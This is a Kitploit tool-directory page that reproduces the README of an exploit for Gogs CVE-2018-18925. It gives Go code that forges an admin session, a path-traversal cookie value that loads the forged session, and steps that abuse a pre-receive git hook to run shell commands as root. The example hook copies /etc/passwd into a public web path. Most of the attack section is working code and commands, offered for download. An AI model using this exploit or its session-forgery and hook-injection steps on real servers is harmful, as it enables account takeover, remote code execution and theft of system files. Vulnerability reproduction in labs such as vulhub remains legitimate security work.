Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Gogs_RCE — Exploit for Gogs RCE (CVE-2018-18925) leveraging session forgery and Git hook injection to achieve arbitrary command execution with root privileges. | Kitploit
Tools/GitHubGitHub/jas502n/gogs_rce
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubjas502n/gogs_rce

Gogs_RCE

Exploit for Gogs RCE (CVE-2018-18925) leveraging session forgery and Git hook injection to achieve arbitrary command execution with root privileges.

View Repository
16436 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gogs_RCE Vulnerability Reproduction

0x01 Register a Regular Account on the Frontend

0x02 Compile a Forged Admin Session Using Go

go run main.go

root@kitploit:~
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

A data file will be generated in the current directory.

root@kitploit:~
root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 A Regular User Publishes a New Release

Attachment: http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

Set the i_like_gogits cookie field to the new release file path, with the first two letters spliced in as subdirectories. For example:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 Refresh the Page to Become the Root Administrator Account

After modifying it

Root account

0x05 Repository Settings, Manage Git Hooks, Hook Name: pre-receive

When the server is a Linux platform, directly write a shell script to execute commands.

The command triggers after new files are uploaded to the repository.

0x06 Command Echo - Admin Panel - Application Configuration Management - Static File Root Directory

Obtain the absolute path through the static file root directory: For example

root@kitploit:~
Static file root directory    /app/gogs

Shell script content:

cat /etc/passwd > /app/gogs/public/js/1.js

Website echo path:

https://127.0.0.1:3000/js/1.js

Reference Links:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

Download Tool